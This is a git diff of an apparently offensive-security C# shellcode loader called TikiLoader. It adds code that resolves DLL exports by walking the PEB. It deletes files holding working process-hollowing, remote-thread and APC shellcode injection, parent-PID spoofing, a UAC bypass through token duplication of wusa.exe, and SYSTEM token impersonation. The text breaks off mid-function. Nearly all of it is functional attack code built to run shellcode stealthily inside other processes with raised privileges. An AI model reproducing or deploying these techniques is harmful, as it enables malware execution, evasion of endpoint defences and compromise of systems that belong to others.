optHeader + 0x70; - CreationFlags flags = CreationFlags.CreateSuspended | CreationFlags.DetachedProcesds | CreationFlags.CreateNoWindow | CreationFlags.ExtendedStartupInfoPresent; - - IntPtr lpSize = IntPtr.Zero; - - InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize); - sInfoEx.lpAttributeList = Marshal.AllocHGlobal(lpSize); - InitializeProcThreadAttributeList(sInfoEx.lpAttributeList, 1, 0, ref lpSize); - - IntPtr parentHandle = Process.GetProcessById(parentProcessId).Handle; - lpValue = Marshal.AllocHGlobal(IntPtr.Size); - Marshal.WriteIntPtr(lpValue, parentHandle); - - UpdateProcThreadAttribute(sInfoEx.lpAttributeList, 0, (IntPtr)ProcThreadAttributeParentProcess, lpValue, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero); - - CreateProcess(targetProcess, null, ref pSec, ref tSec, false, flags, IntPtr.Zero, null, ref sInfoEx, out pInfo); - - return pInfo; + // Read -> IMAGE_EXPORT_DIRECTORY + var exportRva = Marshal.ReadInt32((IntPtr)pExport); + var ordinalBase = Marshal.ReadInt32((IntPtr)(moduleBase.ToInt64() + exportRva + 0x10)); + var numberOfNames = Marshal.ReadInt32((IntPtr)(moduleBase.ToInt64() + exportRva + 0x18)); + var functionsRva = Marshal.ReadInt32((IntPtr)(moduleBase.ToInt64() + exportRva + 0x1C)); + var namesRva = Marshal.ReadInt32((IntPtr)(moduleBase.ToInt64() + exportRva + 0x20)); + var ordinalsRva = Marshal.ReadInt32((IntPtr)(moduleBase.ToInt64() + exportRva + 0x24)); + // Loop the array of export name RVA's + for (var i = 0; i < numberOfNames; i++) + { + var functionName = Marshal.PtrToStringAnsi((IntPtr)(moduleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(moduleBase.ToInt64() + namesRva + i * 4)))); + + if (string.IsNullOrWhiteSpace(functionName)) continue; + if (!functionName.Equals(exportName, StringComparison.OrdinalIgnoreCase)) continue; + + var functionOrdinal = Marshal.ReadInt16((IntPtr)(moduleBase.ToInt64() + ordinalsRva + i * 2)) + ordinalBase; + var functionRva = Marshal.ReadInt32((IntPtr)(moduleBase.ToInt64() + functionsRva + (4 * (functionOrdinal - ordinalBase)))); + functionPtr = (IntPtr)((long)moduleBase + functionRva); + + if (resolveForwards) functionPtr = GetForwardAddress(functionPtr); + break; + } } - finally + catch { - DeleteProcThreadAttributeList(sInfoEx.lpAttributeList); - Marshal.FreeHGlobal(sInfoEx.lpAttributeList); - Marshal.FreeHGlobal(lpValue); + throw new InvalidOperationException("Failed to parse module exports."); } - } - public static PROCESS_INFORMATION StartProcessWOPid(string targetProcess) - { - STARTUPINFOEX sInfoEx = new STARTUPINFOEX(); - PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION(); - - sInfoEx.StartupInfo.cb = (uint)Marshal.SizeOf(sInfoEx); - IntPtr lpValue = IntPtr.Zero; - - SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES(); - SECURITY_ATTRIBUTES tSec = new SECURITY_ATTRIBUTES(); - pSec.nLength = Marshal.SizeOf(pSec); - tSec.nLength = Marshal.SizeOf(tSec); - - CreationFlags flags = CreationFlags.CreateSuspended | CreationFlags.DetachedProcesds | CreationFlags.CreateNoWindow; - - CreateProcess(targetProcess, null, ref pSec, ref tSec, false, flags, IntPtr.Zero, null, ref sInfoEx, out pInfo); - - return pInfo; - - } - - public static PROCESS_INFORMATION StartProcessAs(string path, string domain, string username, string password) - { - STARTUPINFO startInfo = new STARTUPINFO(); - PROCESS_INFORMATION procInfo = new PROCESS_INFORMATION(); - - CreationFlags flags = CreationFlags.CreateSuspended | CreationFlags.CreateNoWindow; - CreateProcessWithLogonW(username, domain, password, LogonFlags.LogonWithProfile, path, "", flags, (uint)0, @"C:\Windows\System32", ref startInfo, out procInfo); - - return procInfo; - } - - public static PROCESS_INFORMATION StartElevatedProcess(string binary, [Optional]int elevatedPID) - { - IntPtr hProcess = IntPtr.Zero; - - if (elevatedPID > 0) + if (functionPtr == IntPtr.Zero) { - hProcess = OpenProcess(0x00001000, false, elevatedPID); + throw new MissingMethodException(exportName + ", export not found."); + } + + return functionPtr; + } + + private static IntPtr GetForwardAddress(IntPtr exportAddress, bool canLoadFromDisk = false) + { + var functionPtr = exportAddress; + + try + { + // Assume it is a forward. If it is not, we will get an error + var forwardNames = Marshal.PtrToStringAnsi(functionPtr); + if (string.IsNullOrWhiteSpace(forwardNames)) return functionPtr; + + var values = forwardNames.Split('.'); + + if (values.Length > 1) + { + var forwardModuleName = values[0]; + var forwardExportName = values[1]; + + // Check if it is an API Set mapping + var apiSet = GetApiSetMapping(); + var lookupKey = forwardModuleName.Substring(0, forwardModuleName.Length - 2) + ".dll"; + + if (apiSet.ContainsKey(lookupKey)) forwardModuleName = apiSet[lookupKey]; + else forwardModuleName += ".dll"; + + var hModule = GetPebLdrModuleEntry(forwardModuleName); + + if (hModule == IntPtr.Zero && canLoadFromDisk) + hModule = LoadModuleFromDisk(forwardModuleName); + + if (hModule != IntPtr.Zero) + functionPtr = GetExportAddress(hModule, forwardExportName); + } + } + catch + { + // Do nothing, it was not a forward + } + + return functionPtr; + } + + public static IntPtr GetPebLdrModuleEntry(string dllName) + { + // Get _PEB pointer + var pbi = Native.NtQueryInformationProcessBasicInformation((IntPtr)(-1)); + + // Set function variables + uint ldrDataOffset = 0; + uint inLoadOrderModuleListOffset = 0; + + if (IntPtr.Size == 4) + { + ldrDataOffset = 0xc; + inLoadOrderModuleListOffset = 0xC; } else { - SHELLEXECUTEINFO shellInfo = new SHELLEXECUTEINFO(); - - shellInfo.cbSize = Marshal.SizeOf(shellInfo); - shellInfo.fMask = 0x40; - shellInfo.lpFile = "wusa.exe"; - shellInfo.nShow = 0x0; - - ShellExecuteEx(ref shellInfo); - - hProcess = shellInfo.hProcess; + ldrDataOffset = 0x18; + inLoadOrderModuleListOffset = 0x10; } - IntPtr hToken = IntPtr.Zero; - OpenProcessToken(hProcess, 0x02000000, ref hToken); + // Get module InLoadOrderModuleList -> _LIST_ENTRY + var pebLdrData = Marshal.ReadIntPtr((IntPtr)((ulong)pbi.PebBaseAddress + ldrDataOffset)); + var pInLoadOrderModuleList = (IntPtr)((ulong)pebLdrData + inLoadOrderModuleListOffset); + var le = (Data.Native.LIST_ENTRY)Marshal.PtrToStructure(pInLoadOrderModuleList, typeof(Data.Native.LIST_ENTRY)); - IntPtr hNewToken = IntPtr.Zero; - SECURITY_ATTRIBUTES secAttribs = new SECURITY_ATTRIBUTES(); - - DuplicateTokenEx(hToken, 0xf01ff, ref secAttribs, 2, 1, ref hNewToken); - - SID_IDENTIFIER_AUTHORITY sia = new SID_IDENTIFIER_AUTHORITY(); - sia.Value = new byte[] { 0x0, 0x0, 0x0, 0x0, 0x0, 0x10 }; - - IntPtr pSID = IntPtr.Zero; - AllocateAndInitializeSid(ref sia, 1, 0x2000, 0, 0, 0, 0, 0, 0, 0, ref pSID); - - SID_AND_ATTRIBUTES saa = new SID_AND_ATTRIBUTES(); - saa.Sid = pSID; - saa.Attributes = 0x20; - - TOKEN_MANDATORY_LABEL tml = new TOKEN_MANDATORY_LABEL(); - tml.Label = saa; - int tmlSize = Marshal.SizeOf(tml); - NtSetInformationToken(hNewToken, 25, ref tml, tmlSize); - - IntPtr luaToken = IntPtr.Zero; - NtFilterToken(hNewToken, 4, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, ref luaToken); - - hNewToken = IntPtr.Zero; - secAttribs = new SECURITY_ATTRIBUTES(); - - DuplicateTokenEx(luaToken, 0xc, ref secAttribs, 2, 2, ref hNewToken); - - ImpersonateLoggedOnUser(hNewToken); - - STARTUPINFO sInfo = new STARTUPINFO(); - PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION(); - - CreateProcessWithLogonW("xxx", "xxx", "xxx", LogonFlags.LogonNetCredentialsOnly, binary, "", CreationFlags.CreateSuspended, 0, @"C:\Windows\System32", ref sInfo, out pInfo); - - if (elevatedPID == 0) - TerminateProcess(hProcess, 1); - - return pInfo; - } - - public static PROCESS_INFORMATION StartProcessAsSystem(string binary, int duplicatePid) - { - IntPtr hProcess = OpenProcess(0x00001000, false, duplicatePid); - - IntPtr hToken = IntPtr.Zero; - OpenProcessToken(hProcess, 0x02000000, ref hToken); - - IntPtr hNewToken = IntPtr.Zero; - SECURITY_ATTRIBUTES secAttribs = new SECURITY_ATTRIBUTES(); - DuplicateTokenEx(hToken, 0xf01ff, ref secAttribs, 2, 1, ref hNewToken); - - STARTUPINFO sInfo = new STARTUPINFO(); - PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION(); - - SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES(); - SECURITY_ATTRIBUTES tSec = new SECURITY_ATTRIBUTES(); - - CreateProcessAsUser(hNewToken, binary, "", ref pSec, ref tSec, false, CreationFlags.CreateSuspended, IntPtr.Zero, @"C:\Windows\System32", ref sInfo, out pInfo); - - return pInfo; - } - - public static byte[] DecompressShellcode(byte[] gzip) - { - using (GZipStream stream = new GZipStream(new MemoryStream(gzip), CompressionMode.Decompress)) + // Loop entries + var flink = le.Flink; + var hModule = IntPtr.Zero; + var dte = (Data.PE.LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(flink, typeof(Data.PE.LDR_DATA_TABLE_ENTRY)); + while (dte.InLoadOrderLinks.Flink != le.Blink) { - const int size = 4096; - byte[] buffer = new byte[size]; - using (MemoryStream memory = new MemoryStream()) - { - int count = 0; - do - { - count = stream.Read(buffer, 0, size); - if (count > 0) - { - memory.Write(buffer, 0, count); - } - } - while (count > 0); - return memory.ToArray(); - } + // Match module name + var fullName = Marshal.PtrToStringUni(dte.FullDllName.Buffer); + if (string.IsNullOrWhiteSpace(fullName)) continue; + + if (fullName.EndsWith(dllName, StringComparison.OrdinalIgnoreCase)) + hModule = dte.DllBase; + + // Move Ptr + flink = dte.InLoadOrderLinks.Flink; + dte = (Data.PE.LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(flink, typeof(Data.PE.LDR_DATA_TABLE_ENTRY)); } + + return hModule; + } + + private static Dictionary GetApiSetMapping() + { + var pbi = Native.NtQueryInformationProcessBasicInformation((IntPtr)(-1)); + var apiSetMapOffset = IntPtr.Size == 4 ? (uint)0x38 : 0x68; + + // Create mapping dictionary + var apiSetDict = new Dictionary(); + + var pApiSetNamespace = Marshal.ReadIntPtr((IntPtr)((ulong)pbi.PebBaseAddress + apiSetMapOffset)); + var apiSetNamespace = (Data.PE.ApiSetNamespace)Marshal.PtrToStructure(pApiSetNamespace, typeof(Data.PE.ApiSetNamespace)); + + for (var i = 0; i < apiSetNamespace.Count; i++) + { + var setEntry = new Data.PE.ApiSetNamespaceEntry(); + + var pSetEntry = (IntPtr)((ulong)pApiSetNamespace + (ulong)apiSetNamespace.EntryOffset + (ulong)(i * Marshal.SizeOf(setEntry))); + setEntry = (Data.PE.ApiSetNamespaceEntry)Marshal.PtrToStructure(pSetEntry, typeof(Data.PE.ApiSetNamespaceEntry)); + + var apiSetEntryName = Marshal.PtrToStringUni((IntPtr)((ulong)pApiSetNamespace + (ulong)setEntry.NameOffset), setEntry.NameLength / 2); + var apiSetEntryKey = apiSetEntryName.Substring(0, apiSetEntryName.Length - 2) + ".dll" ; // Remove the patch number and add .dll + + var setValue = new Data.PE.ApiSetValueEntry(); + var pSetValue = IntPtr.Zero; + + switch (setEntry.ValueLength) + { + // If there is only one host, then use it + case 1: + pSetValue = (IntPtr)((ulong)pApiSetNamespace + (ulong)setEntry.ValueOffset); + break; + + case > 1: + { + // Loop through the hosts until we find one that is different from the key, if available + for (var j = 0; j < setEntry.ValueLength; j++) + { + var host = (IntPtr)((ulong)pApiSetNamespace + (ulong)setEntry.ValueOffset + (ulong)Marshal.SizeOf(setValue) * (ulong)j); + if (Marshal.PtrToStringUni(host) != apiSetEntryName) + pSetValue = (IntPtr)((ulong)pApiSetNamespace + (ulong)setEntry.ValueOffset + (ulong)Marshal.SizeOf(setValue) * (ulong)j); + } + + // If there is not one different from the key, then just use the key and hope that works + if (pSetValue == IntPtr.Zero) + pSetValue = (IntPtr)((ulong)pApiSetNamespace + (ulong)setEntry.ValueOffset); + + break; + } + } + + // Get the host DLL's name from the entry + setValue = (Data.PE.ApiSetValueEntry)Marshal.PtrToStructure(pSetValue, typeof(Data.PE.ApiSetValueEntry)); + + var apiSetValue = string.Empty; + if (setValue.ValueCount != 0) + { + var pValue = (IntPtr)((ulong)pApiSetNamespace + (ulong)setValue.ValueOffset); + apiSetValue = Marshal.PtrToStringUni(pValue, setValue.ValueCount / 2); + } + + // Add pair to dict + apiSetDict.Add(apiSetEntryKey, apiSetValue); + } + + // Return dict + return apiSetDict; } } } \ No newline at end of file diff --git a/TikiLoader/Hollower.cs b/TikiLoader/Hollower.cs deleted file mode 100644 index e3ad6da..0000000 --- a/TikiLoader/Hollower.cs +++ /dev/null @@ -1,313 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Runtime.InteropServices; - -using static TikiLoader.Imports; -using static TikiLoader.Structs; -using static TikiLoader.Enums; -using static TikiLoader.Generic; - -namespace TikiLoader -{ - public class Hollower - { - private const int AttributeSize = 24; - private const ulong PatchSize = 0x10; - - IntPtr section_; - IntPtr localmap_; - IntPtr remotemap_; - IntPtr localsize_; - IntPtr remotesize_; - IntPtr pModBase_; - IntPtr pEntry_; - uint rvaEntryOffset_; - uint size_; - byte[] inner_; - - private uint round_to_page(uint size) - { - SYSTEM_INFO info = new SYSTEM_INFO(); - GetSystemInfo(ref info); - return (info.dwPageSize - size % info.dwPageSize) + size; - } - - private bool nt_success(long v) - { - return (v >= 0); - } - - private IntPtr GetCurrent() - { - return GetCurrentProcess(); - } - - private KeyValuePair MapSection(IntPtr procHandle, MemoryProtection protect, IntPtr addr) - { - IntPtr baseAddr = addr; - IntPtr viewSize = (IntPtr)size_; - - var status = ZwMapViewOfSection(section_, procHandle, ref baseAddr, (IntPtr)0, (IntPtr)0, (IntPtr)0, ref viewSize, 1, 0, protect); - return new KeyValuePair(baseAddr, viewSize); - } - - private bool CreateSection(uint size) - { - LARGE_INTEGER liVal = new LARGE_INTEGER(); - size_ = round_to_page(size); - liVal.LowPart = size_; - - var status = ZwCreateSection(ref section_, 0x10000000, (IntPtr)0, ref liVal, MemoryProtection.ExecuteReadWrite, AllocationType.SecCommit, (IntPtr)0); - - return nt_success(status); - } - - private void SetLocalSection(uint size) - { - var vals = MapSection(GetCurrent(), MemoryProtection.ReadWrite, IntPtr.Zero); - - localmap_ = vals.Key; - localsize_ = vals.Value; - } - - private void CopyShellcode(byte[] buf) - { - var lsize = size_; - - unsafe - { - byte* p = (byte*)localmap_; - - for (int i = 0; i < buf.Length; i++) - { - p[i] = buf[i]; - } - } - } - - private KeyValuePair BuildEntryPatch(IntPtr dest) - { - int i = 0; - IntPtr ptr; - - ptr = Marshal.AllocHGlobal((IntPtr)PatchSize); - - unsafe - { - - var p = (byte*)ptr; - byte[] tmp = null; - - if (IntPtr.Size == 4) - { - p[i] = 0xb8; - i++; - var val = (Int32)dest; - tmp = BitConverter.GetBytes(val); - } - else - { - p[i] = 0x48; - i++; - p[i] = 0xb8; - i++; - - var val = (Int64)dest; - tmp = BitConverter.GetBytes(val); - } - - for (int j = 0; j < IntPtr.Size; j++) - p[i + j] = tmp[j]; - - i += IntPtr.Size; - p[i] = 0xff; - i++; - p[i] = 0xe0; - i++; - } - - return new KeyValuePair(i, ptr); - } - - private IntPtr GetEntryFromBuffer(byte[] buf) - { - IntPtr res = IntPtr.Zero; - unsafe - { - fixed (byte* p = buf) - { - uint e_lfanew_offset = *((uint*)(p + 0x3c)); - - byte* nthdr = (p + e_lfanew_offset); - - byte* opthdr = (nthdr + 0x18); - - ushort t = *((ushort*)opthdr); - - byte* entry_ptr = (opthdr + 0x10); - - var tmp = *((int*)entry_ptr); - - rvaEntryOffset_ = (uint)tmp; - - if (IntPtr.Size == 4) - res = (IntPtr)(pModBase_.ToInt32() + tmp); - else - res = (IntPtr)(pModBase_.ToInt64() + tmp); - - } - } - - pEntry_ = res; - return res; - } - - private IntPtr FindEntry(IntPtr hProc) - { - var basicInfo = new PROCESS_BASIC_INFORMATION(); - uint tmp = 0; - - var success = ZwQueryInformationProcess(hProc, 0, ref basicInfo, (uint)(IntPtr.Size * 6), ref tmp); - - IntPtr readLoc = IntPtr.Zero; - var addrBuf = new byte[IntPtr.Size]; - if (IntPtr.Size == 4) - { - readLoc = (IntPtr)((Int32)basicInfo.PebAddress + 8); - } - else - { - readLoc = (IntPtr)((Int64)basicInfo.PebAddress + 16); - } - - IntPtr nRead = IntPtr.Zero; - - ReadProcessMemory(hProc, readLoc, addrBuf, addrBuf.Length, out nRead); - - if (IntPtr.Size == 4) - readLoc = (IntPtr)(BitConverter.ToInt32(addrBuf, 0)); - else - readLoc = (IntPtr)(BitConverter.ToInt64(addrBuf, 0)); - - pModBase_ = readLoc; - ReadProcessMemory(hProc, readLoc, inner_, inner_.Length, out nRead); - - return GetEntryFromBuffer(inner_); - } - - public void MapAndStart(PROCESS_INFORMATION pInfo) - { - var tmp = MapSection(pInfo.hProcess, MemoryProtection.ExecuteRead, IntPtr.Zero); - - remotemap_ = tmp.Key; - remotesize_ = tmp.Value; - - var patch = BuildEntryPatch(tmp.Key); - - try - { - var pSize = (IntPtr)patch.Key; - IntPtr tPtr = new IntPtr(); - - WriteProcessMemory(pInfo.hProcess, pEntry_, patch.Value, pSize, out tPtr); - } - finally - { - if (patch.Value != IntPtr.Zero) - Marshal.FreeHGlobal(patch.Value); - } - - var tbuf = new byte[0x1000]; - var nRead = new IntPtr(); - - ReadProcessMemory(pInfo.hProcess, pEntry_, tbuf, 1024, out nRead); - var res = ResumeThread(pInfo.hThread); - } - - private IntPtr GetBuffer() - { - return localmap_; - } - - ~Hollower() - { - if (localmap_ != (IntPtr)0) - ZwUnmapViewOfSection(section_, localmap_); - } - - public void Hollow(string binary, byte[] shellcode, int ppid) - { - var pinf = StartProcess(binary, ppid); - - FindEntry(pinf.hProcess); - CreateSection((uint)shellcode.Length); - SetLocalSection((uint)shellcode.Length); - CopyShellcode(shellcode); - MapAndStart(pinf); - CloseHandle(pinf.hThread); - CloseHandle(pinf.hProcess); - } - - public void HollowWithoutPid(string binary, byte[] shellcode) - { - var pinf = StartProcessWOPid(binary); - - FindEntry(pinf.hProcess); - CreateSection((uint)shellcode.Length); - SetLocalSection((uint)shellcode.Length); - CopyShellcode(shellcode); - MapAndStart(pinf); - CloseHandle(pinf.hThread); - CloseHandle(pinf.hProcess); - } - - public void HollowAs(string binary, byte[] shellcode, string domain, string username, string password) - { - var pinf = StartProcessAs(binary, domain, username, password); - - FindEntry(pinf.hProcess); - CreateSection((uint)shellcode.Length); - SetLocalSection((uint)shellcode.Length); - CopyShellcode(shellcode); - MapAndStart(pinf); - CloseHandle(pinf.hThread); - CloseHandle(pinf.hProcess); - } - - public void HollowAsSystem(string binary, byte[] shellcode, int impersonationPid) - { - var pinf = StartProcessAsSystem(binary, impersonationPid); - - FindEntry(pinf.hProcess); - CreateSection((uint)shellcode.Length); - SetLocalSection((uint)shellcode.Length); - CopyShellcode(shellcode); - MapAndStart(pinf); - CloseHandle(pinf.hThread); - CloseHandle(pinf.hProcess); - } - - public void HollowElevated(string binary, byte[] shellcode, int elevatedPid) - { - var pinf = StartElevatedProcess(binary, elevatedPid); - - FindEntry(pinf.hProcess); - CreateSection((uint)shellcode.Length); - SetLocalSection((uint)shellcode.Length); - CopyShellcode(shellcode); - MapAndStart(pinf); - CloseHandle(pinf.hThread); - CloseHandle(pinf.hProcess); - } - - public Hollower() - { - section_ = new IntPtr(); - localmap_ = new IntPtr(); - remotemap_ = new IntPtr(); - localsize_ = new IntPtr(); - remotesize_ = new IntPtr(); - inner_ = new byte[0x1000]; - } - } -} \ No newline at end of file diff --git a/TikiLoader/Imports.cs b/TikiLoader/Imports.cs deleted file mode 100644 index 1a1251d..0000000 --- a/TikiLoader/Imports.cs +++ /dev/null @@ -1,113 +0,0 @@ -using System; -using System.Runtime.InteropServices; - -using static TikiLoader.Enums; -using static TikiLoader.Structs; - -namespace TikiLoader -{ - public class Imports - { - [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)] - public static extern int ZwCreateSection(ref IntPtr section, uint desiredAccess, IntPtr pAttrs, ref LARGE_INTEGER pMaxSize, MemoryProtection pageProt, AllocationType allocationAttribs, IntPtr hFile); - - [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)] - public static extern int ZwMapViewOfSection(IntPtr section, IntPtr process, ref IntPtr baseAddr, IntPtr zeroBits, IntPtr commitSize, IntPtr stuff, ref IntPtr viewSize, int inheritDispo, AllocationType alloctype, MemoryProtection prot); - - [DllImport("Kernel32.dll", CallingConvention = CallingConvention.StdCall)] - public static extern void GetSystemInfo(ref SYSTEM_INFO lpSysInfo); - - [DllImport("Kernel32.dll", CallingConvention = CallingConvention.StdCall)] - public static extern IntPtr GetCurrentProcess(); - - [DllImport("Kernel32.dll", CallingConvention = CallingConvention.StdCall)] - public static extern void CloseHandle(IntPtr handle); - - [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)] - public static extern int ZwUnmapViewOfSection(IntPtr hSection, IntPtr address); - - [DllImport("kernel32.dll")] - public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, CreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); - - [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] - public static extern bool CreateProcessWithLogonW(string username, string domain, string password, LogonFlags logonFlags, string applicationName, string commandLine, CreationFlags creationFlags, uint environment, string currentDirectory, ref STARTUPINFO startupInfo, out PROCESS_INFORMATION processInformation); - - [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)] - public static extern bool CreateProcessAsUser(IntPtr hToken, string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, CreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); - - [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] - public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, AllocationType flAllocationType, MemoryProtection flProtect); - - [DllImport("kernel32.dll")] - public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, IntPtr dwSize, MemoryProtection flNewProtect, out MemoryProtection lpflOldProtect); - - [DllImport("kernel32.dll", SetLastError = true)] - public static extern uint ResumeThread(IntPtr hThread); - - [DllImport("kernel32.dll")] - public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out IntPtr lpThreadId); - - [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)] - public static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation, uint ProcInfoLen, ref uint retlen); - - [DllImport("ntdll.dll", SetLastError = true)] - public static extern int ZwQueryInformationThread(IntPtr ThreadHandle, ThreadInformationClass ThreadInformationClass, ref THREAD_BASIC_INFORMATION ThreadInformation, int ThreadInformationLength, out int ReturnLength); - - [DllImport("kernel32.dll", SetLastError = true)] - public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead); - - [DllImport("kernel32.dll", SetLastError = true, CallingConvention = CallingConvention.StdCall)] - public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, IntPtr nSize, out IntPtr lpNumWritten); - - [DllImport("kernel32.dll", SetLastError = true)] - public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten); - - [DllImport("kernel32.dll", SetLastError = true)] - public static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize); - - [DllImport("kernel32.dll", SetLastError = true)] - public static extern bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize); - - [DllImport("kernel32.dll", SetLastError = true)] - public static extern bool DeleteProcThreadAttributeList(IntPtr lpAttributeList); - - [DllImport("kernel32.dll")] - public static extern IntPtr OpenProcess(UInt32 processAccess, bool bInheritHandle, int processId); - - [DllImport("kernel32.dll")] - public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData); - - [DllImport("shell32.dll", CharSet = CharSet.Auto)] - public static extern bool ShellExecuteEx(ref SHELLEXECUTEINFO lpExecInfo); - - [DllImport("advapi32.dll")] - public static extern bool OpenProcessToken(IntPtr ProcessHandle, int DesiredAccess, ref IntPtr TokenHandle); - - [DllImport("advapi32.dll", CharSet = CharSet.Auto)] - public extern static bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess, ref SECURITY_ATTRIBUTES lpTokenAttributes, int ImpersonationLevel, int TokenType, ref IntPtr phNewToken); - - [DllImport("advapi32.dll")] - public static extern bool AllocateAndInitializeSid(ref SID_IDENTIFIER_AUTHORITY pIdentifierAuthority, byte nSubAuthorityCount, int dwSubAuthority0, int dwSubAuthority1, int dwSubAuthority2, int dwSubAuthority3, int dwSubAuthority4, int dwSubAuthority5, int dwSubAuthority6, int dwSubAuthority7, ref IntPtr pSid); - - [DllImport("ntdll.dll")] - public static extern int NtSetInformationToken(IntPtr TokenHandle, int TokenInformationClass, ref TOKEN_MANDATORY_LABEL TokenInformation, int TokenInformationLength); - - [DllImport("ntdll.dll")] - public static extern int NtFilterToken(IntPtr TokenHandle, UInt32 Flags, IntPtr SidsToDisable, IntPtr PrivilegesToDelete, IntPtr RestrictedSids, ref IntPtr hToken); - - [DllImport("advapi32.dll")] - public static extern bool ImpersonateLoggedOnUser(IntPtr hToken); - - [DllImport("kernel32.dll", SetLastError = true)] - public static extern bool DuplicateHandle(IntPtr hSourceProcessHandle, IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle, uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions); - - [DllImport("kernel32.dll", SetLastError = true)] - public static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode); - - [DllImport("kernel32.dll")] - public static extern IntPtr GetCurrentThread(); - - [DllImport("kernel32.dll")] - public static extern uint GetLastError(); - } -} \ No newline at end of file diff --git a/TikiLoader/Injector.cs b/TikiLoader/Injector.cs deleted file mode 100644 index ed2716e..0000000 --- a/TikiLoader/Injector.cs +++ /dev/null @@ -1,143 +0,0 @@ -using System; - -using static TikiLoader.Generic; -using static TikiLoader.Imports; -using static TikiLoader.Enums; - -namespace TikiLoader -{ - public class Injector - { - private static IntPtr AllocateVirtualMemory(IntPtr hProcess, uint length) - { - return VirtualAllocEx(hProcess, IntPtr.Zero, length, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ReadWrite); - } - - private static bool WriteShellcode(IntPtr hProcess, IntPtr baseAddr, byte[] shellcode) - { - IntPtr written; - return WriteProcessMemory(hProcess, baseAddr, shellcode, shellcode.Length, out written); - } - - private static bool ChangeVirtualMemory(IntPtr hProcess, IntPtr baseAddr, IntPtr shellcodeLength) - { - MemoryProtection oldProtect; - return VirtualProtectEx(hProcess, baseAddr, shellcodeLength, MemoryProtection.ExecuteRead, out oldProtect); - } - - private static IntPtr ResumeTargetProcess(IntPtr hProcess, IntPtr baseAddr) - { - IntPtr threadId; - return CreateRemoteThread(hProcess, IntPtr.Zero, 0, baseAddr, IntPtr.Zero, 0, out threadId); - } - - private static IntPtr QueueAPC(IntPtr baseAddr, IntPtr hThread) - { - return QueueUserAPC(baseAddr, hThread, IntPtr.Zero); - } - - private static uint ResumeTargetThread(IntPtr hThread) - { - return ResumeThread(hThread); - } - - // Create Remote Thread - - public static void CRTInject(string binary, byte[] shellcode, int ppid) - { - var pinf = StartProcess(binary, ppid); - var baseAddr = AllocateVirtualMemory(pinf.hProcess, (uint)shellcode.Length); - WriteShellcode(pinf.hProcess, baseAddr, shellcode); - ChangeVirtualMemory(pinf.hProcess, baseAddr, (IntPtr)shellcode.Length); - ResumeTargetProcess(pinf.hProcess, baseAddr); - } - - public static void CRTInjectWithoutPid(string binary, byte[] shellcode) - { - var pinf = StartProcessWOPid(binary); - var baseAddr = AllocateVirtualMemory(pinf.hProcess, (uint)shellcode.Length); - WriteShellcode(pinf.hProcess, baseAddr, shellcode); - ChangeVirtualMemory(pinf.hProcess, baseAddr, (IntPtr)shellcode.Length); - ResumeTargetProcess(pinf.hProcess, baseAddr); - } - - public static void CRTInjectAs(string binary, string domain, string username, string password, byte[] shellcode) - { - var pinf = StartProcessAs(binary, domain, username, password); - var baseAddr = AllocateVirtualMemory(pinf.hProcess, (uint)shellcode.Length); - WriteShellcode(pinf.hProcess, baseAddr, shellcode); - ChangeVirtualMemory(pinf.hProcess, baseAddr, (IntPtr)shellcode.Length); - ResumeTargetProcess(pinf.hProcess, baseAddr); - } - - public static void CRTInjectAsSystem(string binary, int pidToDuplicate, byte[] shellcode) - { - var pinf 